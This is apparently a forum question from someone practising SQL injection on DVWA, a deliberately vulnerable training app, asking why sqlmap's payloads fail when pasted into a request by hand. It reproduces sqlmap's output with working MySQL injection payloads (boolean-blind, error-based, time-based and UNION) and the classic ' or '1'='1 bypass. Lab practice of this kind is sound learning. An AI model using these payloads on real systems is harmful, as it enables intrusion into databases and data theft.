I was trying out SQLMAP on DVWA (medium security for SQL injection), and I did get a set of payloads (sqlmap chucked out a few payloads that should have worked). But entered manually, I couldn't get the payloads to work. If I let sqlmap do the job, then it works. Can anyone tell me why this is so?
sqlmap -r data.txt -p id --dump
Parameter: id (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (5617=5617) THEN 2 ELSE (SELECT 4209 UNION SELECT 4715) END))&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=2 AND (SELECT 2425 FROM(SELECT COUNT(*),CONCAT(0x71706b6a71,(SELECT (ELT(2425=2425,1))),0x7162707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 7889 FROM (SELECT(SLEEP(5)))jSfl)&Submit=Submit
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=2 UNION ALL SELECT NULL,CONCAT(0x71706b6a71,0x45596866446d6f486b5771515972717242497377544549685a437141704441774e504266424d4e56,0x7162707171)-- -&Submit=Submit
What I did: I put each payload for example
-- id=2 UNION ALL SELECT NULL,CONCAT(0x71706b6a71,0x45596866446d6f486b5771515972717242497377544549685a437141704441774e504266424d4e56,0x7162707171)-- -&Submit=Submit --
into the form data on dev tools, and I don't get a response at all.
What I expected: I expected that the database should show up like when you put in ' or '1'='1 into the low security dvwa and you get into the database. I figured that if you put in the payload generated by sqlmap into the form data, and send the request over dev tools that the database should be visible.
What am I missing here?